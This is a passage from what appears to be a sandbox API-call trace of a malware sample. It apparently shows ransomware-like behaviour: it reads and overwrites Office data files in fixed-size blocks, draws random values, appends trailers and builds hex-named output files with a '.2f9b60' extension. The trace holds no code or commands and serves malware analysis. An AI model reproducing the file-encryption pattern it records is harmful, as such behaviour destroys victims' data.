(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.114] WriteFile (in: hFile=0x1a88, lpBuffer=0x201b5950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1fecf8c0, lpOverlapped=0x0 | out: lpBuffer=0x201b5950*, lpNumberOfBytesWritten=0x1fecf8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0197.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b5950) returned 1 [0197.890] SetFilePointerEx (in: hFile=0x1a88, liDistanceToMove=0x16760, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.890] ReadFile (in: hFile=0x1a88, lpBuffer=0x41c39560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1fecf8c0, lpOverlapped=0x0 | out: lpBuffer=0x41c39560*, lpNumberOfBytesRead=0x1fecf8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.900] SetFilePointerEx (in: hFile=0x1a88, liDistanceToMove=0x16760, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b950 [0198.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b950) returned 1 [0198.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420d5d50 [0198.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b950 [0198.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b980 [0198.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b980) returned 1 [0198.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.904] WriteFile (in: hFile=0x1a88, lpBuffer=0x420d5d50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1fecf8c0, lpOverlapped=0x0 | out: lpBuffer=0x420d5d50*, lpNumberOfBytesWritten=0x1fecf8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0213.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420d5d50) returned 1 [0213.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f910 [0213.913] SetFilePointerEx (in: hFile=0x1a88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.913] WriteFile (in: hFile=0x1a88, lpBuffer=0x1ceb8600*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x1fecf970, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8600*, lpNumberOfBytesWritten=0x1fecf970*=0x15a, lpOverlapped=0x0) returned 1 [0216.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0216.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a040 [0216.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265c70 [0216.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265c70) returned 1 [0216.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20265c70 [0216.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265be0 [0216.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266150 [0216.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266150) returned 1 [0216.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a040) returned 1 [0216.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0216.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1ced5920 [0216.684] sprintf (in: _Dest=0x1ced5920, _Format="%c%c" | out: _Dest="ed") returned 2 [0216.684] sprintf (in: _Dest=0x1ced5922, _Format="%c%c" | out: _Dest="f3") returned 2 [0216.684] sprintf (in: _Dest=0x1ced5924, _Format="%c%c" | out: _Dest="24") returned 2 [0216.684] sprintf (in: _Dest=0x1ced5926, _Format="%c%c" | out: _Dest="bf") returned 2 [0216.684] sprintf (in: _Dest=0x1ced5928, _Format="%c%c" | out: _Dest="f8") returned 2 [0216.684] sprintf (in: _Dest=0x1ced592a, _Format="%c%c" | out: _Dest="ce") returned 2 [0216.684] sprintf (in: _Dest=0x1ced592c, _Format="%c%c" | out: _Dest="a7") returned 2 [0216.684] sprintf (in: _Dest=0x1ced592e, _Format="%c%c" | out: _Dest="78") returned 2 [0216.684] sprintf (in: _Dest=0x1ced5930, _Format="%c%c" | out: _Dest="df") returned 2 [0216.684] sprintf (in: _Dest=0x1ced5932, _Format="%c%c" | out: _Dest="dc") returned 2 [0216.684] sprintf (in: _Dest=0x1ced5934, _Format="%c%c" | out: _Dest="13") returned 2 [0216.684] sprintf (in: _Dest=0x1ced5936, _Format="%c%c" | out: _Dest="60") returned 2 [0216.684] sprintf (in: _Dest=0x1ced5938, _Format="%c%c" | out: _Dest="0e") returned 2 [0216.684] sprintf (in: _Dest=0x1ced593a, _Format="%c%c" | out: _Dest="ab") returned 2 [0216.685] sprintf (in: _Dest=0x1ced593c, _Format="%c%c" | out: _Dest="47") returned 2 [0216.685] sprintf (in: _Dest=0x1ced593e, _Format="%c%c" | out: _Dest="19") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5940, _Format="%c%c" | out: _Dest="0c") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5942, _Format="%c%c" | out: _Dest="96") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5944, _Format="%c%c" | out: _Dest="a4") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5946, _Format="%c%c" | out: _Dest="c7") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5948, _Format="%c%c" | out: _Dest="c8") returned 2 [0216.685] sprintf (in: _Dest=0x1ced594a, _Format="%c%c" | out: _Dest="ba") returned 2 [0216.685] sprintf (in: _Dest=0x1ced594c, _Format="%c%c" | out: _Dest="ab") returned 2 [0216.685] sprintf (in: _Dest=0x1ced594e, _Format="%c%c" | out: _Dest="c7") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5950, _Format="%c%c" | out: _Dest="db") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5952, _Format="%c%c" | out: _Dest="e9") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5954, _Format="%c%c" | out: _Dest="ae") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5956, _Format="%c%c" | out: _Dest="b2") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5958, _Format="%c%c" | out: _Dest="82") returned 2 [0216.685] sprintf (in: _Dest=0x1ced595a, _Format="%c%c" | out: _Dest="4b") returned 2 [0216.685] sprintf (in: _Dest=0x1ced595c, _Format="%c%c" | out: _Dest="22") returned 2 [0216.685] sprintf (in: _Dest=0x1ced595e, _Format="%c%c" | out: _Dest="1f") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5960, _Format="%c%c" | out: _Dest="95") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5962, _Format="%c%c" | out: _Dest="d0") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5964, _Format="%c%c" | out: _Dest="cf") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5966, _Format="%c%c" | out: _Dest="a0") returned 2 [0216.685] sprintf (in: _Dest=0x1ced5968, _Format="%c%c" | out: _Dest="76") returned 2 [0216.685] sprintf (in: _Dest=0x1ced596a, _Format="%c%c" | out: _Dest="63") returned 2 [0216.685] sprintf (in: _Dest=0x1ced596c, _Format="%c%c" | out: _Dest="16") returned 2 [0216.685] sprintf (in: _Dest=0x1ced596e, _Format="%c%c" | out: _Dest="5e") returned 2 [0216.685] RtlInitAnsiString (in: DestinationString=0x1fecf9e8, SourceString="edf324bff8cea778dfdc13600eab47190c96a4c7c8baabc7dbe9aeb2824b221f95d0cfa07663165e" | out: DestinationString="edf324bff8cea778dfdc13600eab47190c96a4c7c8baabc7dbe9aeb2824b221f95d0cfa07663165e") [0216.685] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fecf9b8, SourceString="edf324bff8cea778dfdc13600eab47190c96a4c7c8baabc7dbe9aeb2824b221f95d0cfa07663165e", AllocateDestinationString=1 | out: DestinationString="edf324bff8cea778dfdc13600eab47190c96a4c7c8baabc7dbe9aeb2824b221f95d0cfa07663165e") returned 0x0 [0216.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce17d10 [0216.686] wcscat (in: _Dest=0x205092b0, _Source="edf324bff8cea778dfdc" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\edf324bff8cea778dfdc") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\edf324bff8cea778dfdc" [0216.686] wcscat (in: _Dest=0x205092b0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\edf324bff8cea778dfdc.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\edf324bff8cea778dfdc.2f9b60" [0216.686] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\edf324bff8cea778dfdc.2f9b60", NtPathName=0x1fecf990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\edf324bff8cea778dfdc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x4312b7a0 Thread: id = 1696 os_tid = 0xa3c [0130.592] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll")) returned 0x2020 [0130.593] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll", dwFileAttributes=0x20) returned 1 [0130.594] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a8c [0130.594] GetFileSizeEx (in: hFile=0x1a8c, lpFileSize=0x20dbfda0 | out: lpFileSize=0x20dbfda0*=581984) returned 1 [0130.594] SetFilePointerEx (in: hFile=0x1a8c, liDistanceToMove=0x8e15c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.594] ReadFile (in: hFile=0x1a8c, lpBuffer=0x20dbfd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20dbfd68, lpOverlapped=0x0 | out: lpBuffer=0x20dbfd20*, lpNumberOfBytesRead=0x20dbfd68*=0x4, lpOverlapped=0x0) returned 1 [0130.615] SetFilePointerEx (in: hFile=0x1a8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265eb0 [0130.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265f70 [0130.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266000 [0130.615] NtQuerySystemTime (in: CurrentTime=0x20dbfc60 | out: CurrentTime=0x20dbfc60*=132462177358522000) returned 0x0 [0130.615] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x2aca38e7 [0130.615] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x3d9f6e9a [0130.615] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x20f724eb [0130.615] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x17690f1d [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x7b4acb9c [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x70706f21 [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x1a6c444a [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x49fbd848 [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x201af1f9 [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x74d5bf0b [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x34417547 [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x1b8614f7 [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x68d8d83f [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x1e46c60b [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x1dee4d99 [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x14f194c5 [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x498c5263 [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x181501fb [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x4780b98e [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x307a29d0 [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x78974874 [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0xc203669 [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x4015b147 [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x64e73539 [0130.616] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x465ddc5c [0130.617] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x764f37a1 [0130.617] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x616a95aa [0130.617] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0xc282c32 [0130.617] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x737d4a80 [0130.617] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x660ddc2f [0130.617] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x1bea896 [0130.617] RtlRandomEx (in: Seed=0x20dbfc50 | out: Seed=0x20dbfc50) returned 0x68ba9189 [0130.633] SetFilePointerEx (in: hFile=0x1a8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.633] ReadFile (in: hFile=0x1a8c, lpBuffer=0x41c31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20dbfcc0, lpOverlapped=0x0 | out: lpBuffer=0x41c31d40*, lpNumberOfBytesRead=0x20dbfcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0130.641] SetFilePointerEx (in: hFile=0x1a8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0130.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867d40 [0130.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266000 [0130.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266000) returned 1 [0130.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f6a520 [0130.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266000 [0130.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266090 [0130.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266090) returned 1 [0130.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0130.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0130.643] WriteFile (hFile=0x1a8c, lpBuffer=0x41f6a520, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20dbfcc0, lpOverlapped=0x0) [0180.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f6a520) returned 1 [0180.049] SetFilePointerEx (in: hFile=0x1a8c, liDistanceToMove=0x47400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.049] ReadFile (in: hFile=0x1a8c, lpBuffer=0x41c31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20dbfcc0, lpOverlapped=0x0 | out: lpBuffer=0x41c31d40*, lpNumberOfBytesRead=0x20dbfcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.788] SetFilePointerEx (in: hFile=0x1a8c, liDistanceToMove=0x47400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0182.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0182.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d304a0 [0182.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d304a0) returned 1 [0182.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4280ae50 [0182.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d304a0 [0182.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d304d0 [0182.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d304d0) returned 1 [0182.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0182.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0182.792] WriteFile (in: hFile=0x1a8c, lpBuffer=0x4280ae50*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20dbfcc0, lpOverlapped=0x0 | out: lpBuffer=0x4280ae50*, lpNumberOfBytesWritten=0x20dbfcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0197.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4280ae50) returned 1 [0197.784] SetFilePointerEx (in: hFile=0x1a8c, liDistanceToMove=0x8a560, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.785] ReadFile (in: hFile=0x1a8c, lpBuffer=0x41c31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20dbfcc0, lpOverlapped=0x0 | out: lpBuffer=0x41c31d40*, lpNumberOfBytesRead=0x20dbfcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.845] SetFilePointerEx (in: hFile=0x1a8c, liDistanceToMove=0x8a560, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b770 [0198.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b770) returned 1 [0198.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4302c580 [0198.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b770 [0198.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b7a0 [0198.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b7a0) returned 1 [0198.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.849] WriteFile (in: hFile=0x1a8c, lpBuffer=0x4302c580*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20dbfcc0, lpOverlapped=0x0 | out: lpBuffer=0x4302c580*, lpNumberOfBytesWritten=0x20dbfcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0213.794] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4302c580) returned 1 [0213.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f590 [0213.795] SetFilePointerEx (in: hFile=0x1a8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.795] WriteFile (in: hFile=0x1a8c, lpBuffer=0x1ceb8a50*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x20dbfd70, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8a50*, lpNumberOfBytesWritten=0x20dbfd70*=0x15c, lpOverlapped=0x0) returned 1 [0216.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc00 [0216.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0216.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264680 [0216.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264680) returned 1 [0216.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x431acca0 [0216.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264680 [0216.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202646b0 [0216.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202646b0) returned 1 [0216.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0216.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc00) returned 1 [0216.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9d370 [0216.357] sprintf (in: _Dest=0x1cd9d370, _Format="%c%c" | out: _Dest="aa") returned 2 [0216.357] sprintf (in: _Dest=0x1cd9d372, _Format="%c%c" | out: _Dest="24") returned 2 [0216.357] sprintf (in: _Dest=0x1cd9d374, _Format="%c%c" | out: _Dest="27") returned 2 [0216.357] sprintf (in: _Dest=0x1cd9d376, _Format="%c%c" | out: _Dest="00") returned 2 [0216.357] sprintf (in: _Dest=0x1cd9d378, _Format="%c%c" | out: _Dest="9a") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d37a, _Format="%c%c" | out: _Dest="da") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d37c, _Format="%c%c" | out: _Dest="80") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d37e, _Format="%c%c" | out: _Dest="9c") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d380, _Format="%c%c" | out: _Dest="ea") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d382, _Format="%c%c" | out: _Dest="cf") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d384, _Format="%c%c" | out: _Dest="5a") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d386, _Format="%c%c" | out: _Dest="3a") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d388, _Format="%c%c" | out: _Dest="73") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d38a, _Format="%c%c" | out: _Dest="a7") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d38c, _Format="%c%c" | out: _Dest="15") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d38e, _Format="%c%c" | out: _Dest="f6") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d390, _Format="%c%c" | out: _Dest="7e") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d392, _Format="%c%c" | out: _Dest="65") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d394, _Format="%c%c" | out: _Dest="1e") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d396, _Format="%c%c" | out: _Dest="2b") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d398, _Format="%c%c" | out: _Dest="dd") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d39a, _Format="%c%c" | out: _Dest="22") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d39c, _Format="%c%c" | out: _Dest="cb") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d39e, _Format="%c%c" | out: _Dest="f6") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d3a0, _Format="%c%c" | out: _Dest="d6") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d3a2, _Format="%c%c" | out: _Dest="a8") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d3a4, _Format="%c%c" | out: _Dest="40") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d3a6, _Format="%c%c" | out: _Dest="91") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d3a8, _Format="%c%c" | out: _Dest="f0") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d3aa, _Format="%c%c" | out: _Dest="63") returned 2 [0216.358] sprintf (in: _Dest=0x1cd9d3ac, _Format="%c%c" | out: _Dest="f8") returned 2 [0216.359] sprintf (in: _Dest=0x1cd9d3ae, _Format="%c%c" | out: _Dest="13") returned 2 [0216.359] sprintf (in: _Dest=0x1cd9d3b0, _Format="%c%c" | out: _Dest="a8") returned 2 [0216.359] sprintf (in: _Dest=0x1cd9d3b2, _Format="%c%c" | out: _Dest="16") returned 2 [0216.359] sprintf (in: _Dest=0x1cd9d3b4, _Format="%c%c" | out: _Dest="61") returned 2 [0216.359] sprintf (in: _Dest=0x1cd9d3b6, _Format="%c%c" | out: _Dest="0f") returned 2 [0216.359] sprintf (in: _Dest=0x1cd9d3b8, _Format="%c%c" | out: _Dest="52") returned 2 [0216.359] sprintf (in: _Dest=0x1cd9d3ba, _Format="%c%c" | out: _Dest="c3") returned 2 [0216.359] sprintf (in: _Dest=0x1cd9d3bc, _Format="%c%c" | out: _Dest="3c") returned 2 [0216.359] sprintf (in: _Dest=0x1cd9d3be, _Format="%c%c" | out: _Dest="5d") returned 2 [0216.359] sprintf (in: _Dest=0x1cd9d3c0, _Format="%c%c" | out: _Dest="16") returned 2 [0216.359] sprintf (in: _Dest=0x1cd9d3c2, _Format="%c%c" | out: _Dest="68") returned 2 [0216.359] RtlInitAnsiString (in: DestinationString=0x20dbfde8, SourceString="aa2427009ada809ceacf5a3a73a715f67e651e2bdd22cbf6d6a84091f063f813a816610f52c33c5d1668" | out: DestinationString="aa2427009ada809ceacf5a3a73a715f67e651e2bdd22cbf6d6a84091f063f813a816610f52c33c5d1668") [0216.359] RtlAnsiStringToUnicodeString (in: DestinationString=0x20dbfdb8, SourceString="aa2427009ada809ceacf5a3a73a715f67e651e2bdd22cbf6d6a84091f063f813a816610f52c33c5d1668", AllocateDestinationString=1 | out: 